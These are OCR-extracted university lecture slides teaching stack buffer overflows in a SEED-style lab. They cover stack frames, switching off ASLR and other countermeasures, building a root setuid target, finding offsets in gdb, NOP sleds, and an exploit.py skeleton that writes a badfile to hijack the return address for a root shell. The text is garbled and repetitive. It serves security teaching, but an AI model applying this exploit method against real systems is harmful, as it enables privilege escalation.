FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof (str) ;

printf ("Returned Properly\n");
return 1;

MONTANA
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A Vulnerable Program

What could go wrong if we have main()’s stack fram

some buffer overflow vulnerability? l
str (pointer)
_ return address
‘i’ previous frame pointer
buffer[99] B
buff;er[O] |

MONTANA
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A Vulnerable Program

garbage

What could go wrong if we ha\{e_ garbage
some buffer overflow vulnerability? EEEUERE

garbage str (pointer)
return address

garbage previous frame pointer

Overwriting the return address
with something else can lead to:

garbage buffer[99] a
Non-existent address garbage
> CRASH garbage
garbage .
) ) buffer[0]
Access Violation -

- CRASH

Invalid Instruction
- CRASH

Execution of attacker’s code! - Oh no!!

T Mo,




Next time: Exploiting a Buffer Overflow

What does that mean?

= "
A )
ge { p&
| have a buffer averflow
vulnerability

It means he's afraid of , % NO I'M NOT!
really long inputs '

- -

P N0 2

-
>

ARAAAAAAAAAAAAAAAAAAAAAAAAAAA . Stop it Rafrick, you're
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA s
AAAAAAAAARAAAAAAABRAARRAAAAA T KILLING HIM;'
AAAAAAAAAAAAAAAAAR = < /
g Ay : @’ <14

MONTANA
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Announcements

Another '\

Pizza Party today at 4PM @ Barnard 254

Project details have been released
Extra Credit Opportunity
Office Hours tomorrow are moved to 11-11:50

Shellshock lab due on Sunday - Questions?

MONTANA
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int bof (char *str)

{
char buffer[100];

// potential buffer overflow!
strcpy (buffer, str);

return 1;

int main(int argc, char **argv)
{

char str[517];

FILE *badfile;

badfile = fopen ("badfile", "r");
fread(str, sizeof (char), 517, badfile);
bof (str) ;

return 1;

}
MONTANA
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int bof(char *str)

{ THE STACK

char buffer[100];

... previous stack frames...

// potential buffer overflow!
strcpy (buffer, str);

return 1;

int main(int argc, char **argv) Stack -
{ . 5171 frame of
char str ;
FILE *badfile; bOfO

badfile = fopen ("badfile", "r");
fread(str, sizeof (char), 517, badfile); —
bof (str) ;

return 1;

}
MONTANA
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int bof(char *str)

: — THE STACK

char buffer[100];
N—

// potential buffer overflow!
strcpy (buffer, str);

... previous stack frames...

return 1;

int main(int argc, char **argv)
{

char str[517];

FILE *badfile;

badfile = fopen ("badfile", "r");
fread(str, sizeof (char), 517, badfile);
bof (str) ;

<«

return 1;

}
MONTANA
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THE STACK
The CPU needs to keep track of two things:

... previous stack frames...

1. The location of the top of stack

2. The location of the current stack frame we are executing
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THE STACK
The CPU needs to keep track of two things:

... previous stack frames...

1. The location of the top of stack

2. The location of the current stack frame we are executing
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THE STACK
The CPU needs to keep track of two things:

... previous stack frames...

1. The location of the top of stack

The register $esp points to the top of the stack

2. The location of the current stack frame we are executing

s esp

MONTANA
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THE STACK
The CPU needs to keep track of two things:

... previous stack frames...

1. The location of the top of stack

o The register $esp points to the top of the stack
ebp

2. The location of the current stack frame we are executing

The register $ebp points to the base of the current stack frame

s esp

MONTANA
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THE STACK % eb Every time a function is called, the function prologue occurs
« eop

... previous stack frames...

«$ esp

void main () push  $0x3 ; push b
{ push  $0x2 ; push a
foo(2,3); » call .... <foo> ; push RA
return 0;
}
push  %ebp ; save ebp »
mov %esp, $ebp ; set ebp
void foo(int a, int b) mov 0x8 ($ebp) , bedx &
’ ’
{ int %, y; mov Oxc(%ebp) ,%eax ; b
S a'+ 1'3; » add %edx, teax. P
e mov %eax,-0x8 (%ebp) ; x=
} ! mov 0x8 (%ebp), $eax ; etc.
sub Oxc (%ebp) , $eax
mov $eax, -0x4 (%ebp)
leave ; set esp = ebp
; pop ebp
ret ; pop RA

MONTANA
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THE STACK % eb Every time a function is called, the function prologue occurs
« eop

... previous stack frames...

wEPRain () push  $0x3 ; push b
{ push  $0x2 ; push a
foo(2,3); » call .... <foo> ; push RA
return 0;
}
push  %ebp ; save ebp »
mov %esp, $ebp ; set ebp
\{101d foo(int a, int b) SRR 0x8(%ebp) ,edx ; a
int %, y; mov Oxc(%ebp) ,%eax ; b
s » add  %edx,%eax. o+
e mov %eax,-0x8 (%ebp) ; x=
} ! mov 0x8 (%ebp), $eax ; etc.
sub Oxc (%ebp) , $eax
mov $eax, -0x4 (%ebp)
leave ; set esp = ebp
; pop ebp
ret ; pop RA

MONTANA
STATE UNIVERSITY



THE STACK % eb Every time a function is called, the function prologue occurs
« eop

... previous stack frames...

void main () push  $0x3 ; push b
($ push  $0x2 ; push a
€S (2,3): ‘ call .... <foo> ; push RA
return 0;
}
push  %ebp ; save ebp ‘
mov Yesp, $ebp ; set ebp
void foo(int a, int b) mov 0x8 ($ebp) , bedx &
’ ’
{ int %, v mov Oxc(%ebp) ,%eax ; b
S a'+ !;; - add %edx, Yeax. P
y =a - b; mov %eax,-0x8 (%ebp) ; x=
} ! mov 0x8 (%ebp) , %eax ; etc.
sub Oxc (%ebp) , $eax
mov %eax,-0x4 (%ebp)
leave ; set esp = ebp
; pop ebp
ret ; pop RA

MONTANA
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THE STACK % eb Every time a function is called, the function prologue occurs
« eop

... previous stack frames...

void main () push  $0x3 ; push b

{ push  $0x2 ; push a
foo(2,3); » call .... <foo> ; push RA
return 0; .“_

push  %ebp ; save ebp »
mov %esp, $ebp ; set ebp
\{101d foo(int a, int b) S Ox8(Rebp) Bedx : a
int %, y; mov Oxc(%ebp) ,%eax ; b
Xx=a+b; » add %edx, $eax. ; o+
y =a - b; mov %eax,-0x8 (%ebp) ; x=
} ! mov 0x8 (%ebp), $eax ; etc.
sub Oxc (%ebp) , $eax
mov $eax, -0x4 (%ebp)

leave ; set esp = ebp

; pop ebp
ret ; pop RA

MONTANA
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THE STACK % eb Every time a function is called, the function prologue occurs
« eop

... previous stack frames...

void main () push  $0x3 ; push b
{ push  $0x2 ; push a
» call .... <foo> ; push RA

foo(2,3);
return 0; 7
}
| push  %ebp ; save ebp »
«$ esp mov Yesp, %ebp ; set ebp

\{101d foo(int a, int b) S 0x8/(%abp), Bedx ; A
int x, y; mov Oxc(%ebp) ,%eax ; b
X =a + b; » add %edx, $eax. ; o+
y =a-b; mov %eax,-0x8 (%ebp) ; x=
} mov 0x8 (%ebp), $eax ; etc.
sub Oxc (%ebp) , $eax
mov $eax, -0x4 (%ebp)

leave ; set esp = ebp

; pop ebp
ret ; pop RA

MONTANA
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THE STACK Every time a function is called, the function prologue occurs

... previous stack frames... We now move ebp to point to our current stack frame

We can locate values based on the location of ebp

void main () push  $0x3 ; push b
{ push  $0x2 ; push a
‘ call .... <foo> ; push RA

foo(2,3);
ebp + 4 return 0; 7
P }
« $ ebp $e I push  %ebp ; save ebp .
mov Yesp, ¥ebp ; set ebp

\{IOld foo(int a, int b) S ONE(Rebp) eax 7
int x, y; mov Oxc(%ebp) ,%eax ; b
X =a+ b; ‘ add %edx, $eax. ; o+
y = a - b; mov %eax,-0x8 (%ebp) ; x=
} mov 0x8 (%ebp), $eax ; etc.
sub Oxc (%ebp) , $eax
mov $eax, -0x4 (%ebp)

leave ; set esp = ebp
; pop ebp
ret ; pop RA

MONTANA
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THE STACK Every time a function is called, the function prologue occurs

... previous stack frames...

void main () push  $0x3 ; push b
{ push  $0x2 ; push a
‘ call .... <foo> ; push RA

foo(2,3);
return 0; 7
}

$ ebp push  %ebp ; save ebp ‘
mov Yesp, $ebp ; set ebp

%1gsf|80(1nt a, int b) = 0x8/(%abp), Bedx ; A
int x, y; mov Oxc(%ebp) ,%eax ; b
X =a + b; - add %edx, $eax. ; o+
V= ﬁ mov %$eax,-0x8 (%ebp) ; x=
} mov 0x8 (%ebp) , %eax ; etc.
sub Oxc (%ebp) , $eax
‘I mov %eax,-0x4 (%ebp)
RS
leave ; set esp = ebp
; pop ebp
ret ; pop RA
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THE STACK Every time a function is called, the function prologue occurs

... previous stack frames...

void main () push  $0x3 ; push b
{ push  $0x2 ; push a
‘ call .... <foo> ; push RA

foo(2,3);
return 0; 7
}

$ ebp push  %ebp ; save ebp ‘
mov Yesp, $ebp ; set ebp

wir01d foo(int a, int b) = 0x8/(%abp), Bedx ; A
int x, y; mov Oxc(%ebp) ,%eax ; b
$ €21 a + b; - add %edx, ¥eax. HE
. ' V= ﬁ mov %$eax,-0x8 (%ebp) ; x=
} mov 0x8 (%ebp) , %eax ; etc.
sub Oxc (%ebp) , $eax
‘I mov %eax,-0x4 (%ebp)
RS
leave ; set esp = ebp
; pop ebp
ret ; pop RA
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THE STACK Every time a function is called, the function prologue occurs

... previous stack frames...
When a function finishes, a function epilogue occurs and cleans up the stack

Voranatal) push  $0x3 ; push b
{ push  $0x2 ; push a
Al ‘ call .... <foo> ; push RA
return 0;
, r
push  %ebp ; save ebp .
mov Yesp, $ebp ; set ebp
void foo(int a, int b) ;;; ONE(Rebp) eax 7
{ e mov Oxc (%ebp) ,%eax ; b
X =a+ b; ‘ add %edx, $eax. ; o+
y = a - b; mov %eax,-0x8 (%ebp) ; x=
} mov 0x8 (%ebp), $eax ; etc.
sub Oxc (%ebp) , $eax
mov $eax, -0x4 (%ebp)

leave ; set esp = ebp
; pop ebp
ret ; pop RA
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THE STACK

... previous stack frames...

Here is the current stack frame in bof()

We can control the contents of
buffer[] with our badfile
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THE STACK

Here is the current stack frame in bof()

We can control the contents of
buffer[] with our badfile

Badfile =

AAAAAAAAAAAAAAA _
NNV IYYNYYYYS We can overflow this buffer and
RLLRRRLRRRRLURES overwrite the contents above it
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA

JAVAVAVAVAVAVAVEVAVAVAVAVLV.N MONTANA
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THE STACK

... previous stack frames...

The juicy piece of information
here in the return address

The program will jJump to that address and
continue to execute code
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THE STACK

... previous stack frames...

The juicy piece of information
here in the return address

The program will jJump to that address and
continue to execute code

We can overwrite it, so it points to the
location of our own code we also inject

And our code will B
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THE STACK

... previous stack frames...

The juicy piece of information
here in the return address

The program will jJump to that address and
continue to execute code

We can overwrite it, so it points to the
location of our own code we also inject

And our code will get'a root shell

(there are many things our code can do, but we will be focused on getting a root shell)
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THE STACK

... previous stack frames...

o

Stuff

“padfile”
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THE STACK THE STACK

... previous stack frames...

o

(overwrite)

Stuff (overwrite)

“padfile”
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THE STACK THE STACK

... previous stack frames...

(overwrlte)

Stuff

(overwrite)

Stuff (overwrite)

“padfile”
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THE STACK THE STACK

... previous stack frames...

(overwrlte)

Stuff

(overwrite)

Stuff (overwrite)

“padfile”
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THE STACK THE STACK

... previous stack frames...

‘

o

(overwrite)

Stuff (overwrite)

“padfile”

Pretty easy, right?




Our first buffer overflow attack (ut first we need to change some settings)

« Turn off address randomization (countermeasure)

Isudo sysctl -w kernel.randomlze va space=0 I

« Set /bin/sh to a shell with no RUID != EUID privilege drop countermeasure (for now...)

sudo 1ln -sf /bin/zsh /bin/sh

« Compile aroot owned set-uid version of stack.c w/ executable stack enabled + no stack guard

gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack

94



GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Stuff

“padfile”
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Our first buffer overflow attack GOAL:

Overflow a buffer to insert code and a new return address

Step 1: Find the offset between the base
of the buffer and the return address

We don’t know where the
return address is... but it
IS somewhere on the
stack!

Stuff

Step 1

“padfile”

MONTANA

STATE UNIVERSITY



GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Step 1: Find the offset between the base
of the buffer and the return address

Step 2

l Step 2: Find the address to place our

malicious shellcode

Stuff Step 1

“padfile”
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GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Step 1: Find the offset between the base
of the buffer and the return address

Step 2

l Step 2: Find the address to place our

malicious shellcode

Stuff Step 1

« We do know the location of our buffer (usually)

* We know the location of $ebp
“badfile”

MONTANA

STATE UNIVERSITY




GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Step 1: Find the offset between the base
of the buffer and the return address

Step 2: Find the address to place our
malicious shellcode

C Prev frame pointer (overwritten)
- $ebp

Stuff

“padfile”

MONTANA
STATE UNIVERSITY



: GOAL.:
Our first buffer overflow attack Overflow a buffer to insert code and a new return address

Step 1: Find the offset between the base
of the buffer and the return address

We can use gdb to debug and find addresses in memory

Prev frame pointer (overwritten)
Sebp
Stuff
ampyffer
“badfile”
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: GOAL.:
Our first buffer overflow attack Overflow a buffer to insert code and a new return address

Step 1: Find the offset between the base
of the buffer and the return address

We can use gdb to debug and find addresses in memory

(clone repository and run make)

Prev frame pointer (overwritten)
Sebp
Stuff
ampyffer
“badfile”
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: GOAL.:
Our first buffer overflow attack Overflow a buffer to insert code and a new return address

Step 1: Find the offset between the base
of the buffer and the return address

We can use gdb to debug and find addresses in memory

[09/29/22]seed@VM:~/.../code$ make
gcc -DBUF SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
SSEEk)}D gcc -DBUF SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 & sudo chmod 4755 stack-L2
gcc -DBUF SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c

Prev frame pointer (overwritten)

Stuff sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sugo chmod 4755 stack-L4
@mpyffer
“badfile”

MONTANA
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GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Step 1: Find the offset between the base
of the buffer and the return address

Set a breakpoint at bof()

Reading symbols from stack-L1-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0Oxl2ad: file stack.c, line 17.

Prev frame pointer (overwritten) | $ebp

Stuff

Buffer

-

“padfile”
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GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Step 1: Find the offset between the base
of the buffer and the return address

1. Set a breakpoint at bof()
2. Run the program until it reaches the breakpoint

Reading symbols from stack-L1-dbg...

gdb-peda$ b bof

Breakpoint 1 at 0Oxl2ad: file stack.c, line 17.
gdb-peda$ r

Prev frame pointer (overwritten) | $ebp

Stuff

(a lot of output will be displayed here)

Buffer

-

“padfile”
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Ouir first buffer overflow attack GOAL:

Overflow a buffer to insert code and a new return address

Step 1: Find the offset between the base
of the buffer and the return address

1. Set a breakpoint at bof()
2. Run the program until it reaches the breakpoint

Reading symbols from stack-L1-dbg...

Prev frame pointer (overwritten) | Sebp gdb-peda$ b bof
Breakpoint 1 at 0Oxl2ad: file stack.c, line 17.

gdb-peda$ r
Stuff : .
(a lot of output will be displayed here)
Breakpoint 1, bot (str=0xffffcf43 "V\0OO4") at stack.c:17
17 {
Buffer gdb-peda$ n
“badfile”

3. Step into the bof function

MONTANA
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Step 1: Find the offset between the base
of the buffer and the return address 1. Set a breakpoint at bof()

2. Run the program until it reaches the breakpoint
3. Step into the bof function
4. Find the address of $ebp

gdb-peda$ p $ehp'-'
$1 = (void *) Oxffffcbl8

Address of ebp!

Prev frame pointer (overwritten) | $ebp

Stuff

Buffer

-

“padfile”
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Step 1: Find the offset between the base
of the buffer and the return address 1. Set a breakpoint at bof()

2. Run the program until it reaches the breakpoint
3. Step into the bof function

4. Find the address of $ebp

5. Find the address of buffer

gdb-peda$ p $ehp

$1 = (void *) Oxffffcbl8

Prev frame pointer (overwritten) | Sebp gdb-peda$ p &buffer
$2 = (char (*)[100]) Oxffffcaac

Address of buffer!

Stuff

Buffer

-

“padfile”

MONTANA
STATE UNIVERSITY



Step 1: Find the offset between the base
of the buffer and the return address 1. Set a breakpoint at bof()

Prev frame pointer (overwritten)

Stuff

“padfile”

Buffer

-

2. Run the program until it reaches the breakpoint
3. Step into the bof function

4. Find the address of $ebp

5. Find the address of buffer

6. Calculate the difference between ebp and buffer

gdb-peda$ p $ebp

$1 = (void *) Oxffffcbl8
gdb-peda$%$ p &buffer

$2 = (char (*)[100]) Oxffffcaac

gdb-peda$, p/d Oxffffcbl8-0xffffcaac
$4 = 108

gdb-peda$ ¢ Our offset!!! (almost)

108



Step 1: Find the offset between the base
of the buffer and the return address 1. Set a breakpoint at bof()

Stuff

Prev frame pointer (overwritten)

Stuff

“padfile”

Sebp

Buffer

-

2. Run the program until it reaches the breakpoint

3. Step into the bof function
4. Find the address of $ebp
5. Find the address of buffer
6. Calculate the difference between ebp and buffer

gdb-peda$ p $ebp"'
$1 = (void *) Oxffffcbl8
gdb-peda$%$ p &buffer

$2 = (char (*)[100]) Oxffffcaac

gdb-peda$ p/d Oxffffcbl8-0xffffcaac
$4 = 1@8#
gdb-peda$

We need to add 4 to reach the return address
108 + 4 = 112 i1s our total offset
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Reading symbols from stack-L1-dbag...
gdb-peda$ b bof
Breakpoint 1 at 0Oxl2ad: file stack.c, line 17.
gdb-peda$ r
(...)
Breakpoint 1, (str=0xffffcfd43 "V\OO4") at stack.c:17
17 {
gdb-peda$ n
(...) o
gdb-peda$ p $ebp
$1 = (void *) Oxffffcbl8
gdb-peda$ p &buffer
$2 = (char (*)[100]) Oxffffcaac

gdb-peda$ p/d Oxffffcbl8-0xffffcaac
$4 = 108
gdb-peda$ g

TL;DR GDB

1. Set a breakpoint at bof()

2. Run the program
until it reaches the
breakpoint

3. Step into the bof function

4. Find the address of $ebp
5. Find the address of buffer

6. Calculate the difference
between ebp and buffer
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Step 2: Find the address to place our
malicious shellcode

How should we find the
address for our injected

code???

Stuff

Stuff
Stuff We don’t know the address of

| e | bof's stack frame

Prev frame pointer (overwritten)

Stuff 112

MONTANA
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Step 2: Find the address to place our
malicious shellcode

How should we find the
address for our injected
code?

Stuff

R We can guess!
Stuff

Prev frame pointer (overwritten)

Stuff 112
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Step 2: Find the address to place our
malicious shellcode

How should we find the
address for our injected
code?

000000000

00000000000 We can gueSSI

0000000000
Program crashes!

00000000000

0000000000 112
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Step 2: Find the address to place our
malicious shellcode

How should we find the
address for our injected

code?
000000000
00000000000 |
0000000000 Program crashes! We can guess.

00000000000

0000000000 112
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Step 2: Find the address to place our
malicious shellcode

How should we find the
address for our injected

code?
000000000 Program crashes!
00000000000 We can guess!
0000000000

00000000000

0000000000 112
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Step 2: Find the address to place our

malicious shellcode

000000000

00000000000
0000000000

00000000000

0000000000

How should we find the
address for our injected
code?

Program crashes!

We can guess!

This could potentially go
on for a very long time ®

112
We need a better

approach to guessing!

116



Step 2: Find the address to place our
malicious shellcode

How should we find the
address for our injected
code?

e Program crashes! We can guess!
00000000000

0000000000

Instead of garbage, we will fill
It with executable instructions

00000000000

But we don’t want that instruction to do

0000000000 112 anything...

MONTANA
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Step 2: Find the address to place our
malicious shellcode

000000000

00000000000
0000000000

00000000000

0000000000
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Step 2: Find the address to place our
malicious shellcode

NOP

The NOP instruction does

000000000 nothing, and the advances to

00000000000 . .
SNV the next instruction

00000000000

0000000000

MONTANA
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Step 2: Find the address to place our
malicious shellcode

NOP

The NOP instruction does
NORNOP NOP NORNOP NOP nothing, and the advances to

NOP NOP NOP NOP NOP NOP . :
NOP NOP NOP NOP NOP NOP the next instruction

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
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Step 2: Find the address to place our
malicious shellcode

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP
Guess!

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP

NOP

The NOP instruction does
nothing, and the advances to
the next instruction
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Step 2: Find the address to place our

malicious shellcode

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP

NOP
NOP
NOP
NOP
NOP
NOP
NOP

NOP

The NOP Instruction does
nothing, and the advances to

NOP NOP NOP NOP NOP NOP ﬁ the next instruction
Guess!

NOP NOP NOP NOP NOP NOP

Incorrect guess, but the program does not crash!
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Step 2: Find the address to place our

malicious shellcode

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP

NOP
NOP
NOP
NOP
NOP
NOP
NOP

NOP

§ The NOP instruction does
nothing, and the advances to
the next instruction

Guess!

Incorrect guess, but the program does not crash!

NOP advances to the next instruction

We should hopefully arrive at our malicious code
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Step 2: Find the address to place our

malicious shellcode

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP
NOP NOP NOP NOP

NOP
NOP
NOP
NOP
NOP
NOP
NOP

S

Guess!

NOP

The NOP instruction does
nothing, and the advances to
the next instruction

Next: We need to
construct the contents
of our badfile
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Step 2: Find the address to place our exploit.py

ICI #1/usr/bin/python3
malicious shellcode e o pyehon

# TODO: Replace the content with the actual shellcode
shellcode = (

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"
) .encode('latin-1")

Creates a list of
NOP

instructions

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

R R S R R R S R R S S SRR SRS RS NS LSS S SRR RS SRR SR SRR
# Put the shellcode somewhere in the payload

start = 0 # TODO: Change this number

content[start:start + len(shellcode)] = shellcode

# Decide the return address value and put it somewhere in the payload

ret = 0x00 # TODO: Change this number
offset = 0 # TODO: Change this number
L=4 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to bytes(L, byteorder='little")
BRI

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

—
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Step 2: Find the address to place our exploit.py

ICI #1/usr/bin/python3
malicious shellcode e o pyehon

# TODO: Replace the content with the actual shellcode
shellcode = (

"\x90\x90\x90\x90"

"\x90\x90\x90\x90"
) .encode('latin-1")

Creates a list of
NOP
instructions

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

B B S R S S S S
# Put the shellcode somewhere in the payload

. . start = 0 # TODO: Change this number
Our start Is going to be (517 - Ien(shellcode)) content[start:start + len(shellcode)] = shellcode

# Decide the return address value and put it somewhere in the payload

ret = 0x00 # TODO: Change this number
offset = 0 # TODO: Change this number
L=4 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to bytes(L, byteorder='little")
BRI

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

—
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Step 2: Find the address to place our exploit.py

ICI #1/usr/bin/python3
malicious shellcode e o pyehon

# TODO: Replace the content with the actual shellcode

Code that will be executed [shellcode = (
"\ x90\x90\ x90\x90"

"\ x90\x90\x90\x90"
) .encode('latin-1")

Creates a list of
NOP
instructions

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

B B S R S S S S
# Put the shellcode somewhere in the payload

. . start = 0 # TODO: Change this number
Our start Is going to be (517 - Ien(shellcode)) content[start:start + len(shellcode)] = shellcode

# Decide the return address value and put it somewhere in the payload

ret = 0x00 # TODO: Change this number
These are the values you got from gdb offset = 0 # TODO: Change this number
L=4 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to bytes(L, byteorder='little")
BRI

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

—
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Step 2: Find the address to place our exploit.py

ICI #1/usr/bin/python3
malicious shellcode e o pyehon

# TODO: Replace the content with the actual shellcode

Code that will be executed [shellcode = (
"\ x90\x90\ x90\x90"

"\ x90\x90\x90\x90"
) .encode('latin-1")

Creates a list of
NOP
instructions

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

B B S R S S S S
# Put the shellcode somewhere in the payload

. . start = 0 # TODO: Change this number
Our start Is going to be (517 - Ien(shellcode)) content[start:start + len(shellcode)] = shellcode

# Decide the return address value and put it somewhere in the payload

ret = 0x00 # TODO: Change this number
These are the values you got from gdb offset = 0 # TODO: Change this number
L=4 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to bytes(L, byteorder='little")
BRI

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

—
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Step 2: Find the address to place our
malicious shellcode

Everything is broken

MONTANA

STATE UNIVERSITY

M




Announcements

Everything is broken

Lab 4 will be posted later
today

Go to the career fair

Lab instructions
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THE STACK THE STACK

... previous stack frames...

‘

o

(overwrite)

Stuff (overwrite)

“padfile”

Pretty easy, right?




GOAL:
Overflow a buffer to insert code and a new return address

Our first buffer overflow attack

Step 1: Find the offset between the base
of the buffer and the return address

Step 2

l Step 2: Find the address to place our

malicious shellcode

Stuff Step 1

“padfile”
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Reading symbols from stack-L1-dbag...
gdb-peda$ b bof
Breakpoint 1 at 0Oxl2ad: file stack.c, line 17.
gdb-peda$ r
(...)
Breakpoint 1, (str=0xffffcfd43 "V\OO4") at stack.c:17
17 {
gdb-peda$ n
(...) o
gdb-peda$ p $ebp
$1 = (void *) Oxffffcbl8
gdb-peda$ p &buffer
$2 = (char (*)[100]) Oxffffcaac

gdb-peda$ p/d Oxffffcbl8-0xffffcaac
$4 = 108
gdb-peda$ g

TL;DR GDB

1. Set a breakpoint at bof()

2. Run the program
until it reaches the
breakpoint

3. Step into the bof function

4. Find the address of $ebp
5. Find the address of buffer

6. Calculate the difference
between ebp and buffer
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Step 2: Find the address to place our
malicious shellcode

NOP

The NOP instruction does
NORNOP NOP NORNOP NOP nothing, and the advances to

NOP NOP NOP NOP NOP NOP . :
NOP NOP NOP NOP NOP NOP the next instruction

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
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Step 2: Find the address to place our
malicious shellcode

NOP

The NOP instruction does

HOTRERE TR R nothing, and the advances to
NOP NOP NOP NOP NOP NOP . .
NOP NOP NOP NOP NOP NOP the next instruction

NOP NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP

NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP
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1. Get the address of $ebp with gdb 4. Update values in exploit.py

g db - ped a $ P $E b P 18 #HHHRH R R H R R R H R H R H B R R R H R R AR R R R R R R AR
_ . * 19# Put the shellcode somewhere in the payload
$1 = (void *) OxTfffcbls 20 start = 400 # TODO: Change this number
21 content[start:start + len(shellcode)] = she]l.l.code

22
23 # Decide the return address value and put it somewhere in the payload.
24 # Here, we assume the ebp address is Oxffffce78.

2. Get the offset from buffer to return address

gdb-peda$ p &buffer 25ret = Oxffffcbl8 + 0x78  # : Change this number
$2 = (char (#} [1@@]) Oxffffcaac 26 of fset = 108 + 4 - : Change this number
27
gdb-peda$ p/d Oxffffcbld - Oxffffcaac 28L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
$3 = 108 29 content[offset:offset + L] = (ret).to bytes(L, byteorder='little’)
gdb-peda$ g 30 HHH SRS A I I R T R R
31

3. Turn off countermeasures

# Turn off ASLR!
sudo sysctl -w kernel.randomize va space=0

# link /bin/sh to /bin/zsh (no setuid countermeasure)
sudo 1n -sf /bin/zsh /bin/sh
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Might need to

1. Get the address of $ebp with gdb guess and 4. Update values in exploit.py
check

g db - ped a $ P $E b P 18 #### HHHHHBH B R HBH B R R R H R R R AR AR R AR AR R R AR R R H B AR HRRH
_ . * 19# Put thelshellcode somewhere in the payload
$1 = (void *) E}Xffffc& 20 start = 400 # TODO: Change this number
21 content[start:start + len(shellcode)] = she]l.l.code
22

2. Get the offset from buffer to return address 23 # Decide the return address value and put it somewhere in the payload.

24 # Here, we assume the ebp address is Oxffffce78.

gdb-peda$ p &buffer 29ret = Oxffffcbl8 + 0x78 # : Change this number
$2 = (char (*) [1@@]) Oxffffcaac 26 of fset = 108 + 4 - : Change this number
27
gdb-pedas p/d Oxffffcbl8 - Oxffffcaac 8L = 4 #U for 32-bit address and 8 for 64-bit address
$3 = 108 — 29 content[offset:offs L] = (ret).to bytes(L, byteorder='little’)
gdb-peda$ g T 30 HEHHBHHBBHHB SRR S A A R R A R AR AR 1
31

GDB OFFSET!
3. Turn off countermeasures

# Turn off ASLR!
sudo sysctl -w kernel.randomize va space=0

# link /bin/sh to /bin/zsh (no setuid countermeasure)
sudo 1ln -sf /bin/zsh /bin/sh

MONTANA
STATE UNIVERSITY



1. Get the address of $ebp with gdb 4. Update values in exploit.py

g db - ped a $ P $E b P 18 #HHHRH R R H R R R H R H R H B R R R H R R AR R R R R R R AR
_ . * 19# Put the shellcode somewhere in the payload
$1 = (void *) OxTfffcbls 20 start = 400 # TODO: Change this number
21 content[start:start + len(shellcode)] = she]l.l.code
22

2. Get the offset from buffer to return address 23 # Decide the return address value and put it somewhere in the payload.

24 # Here, we assume the ebp address is Oxffffce78.

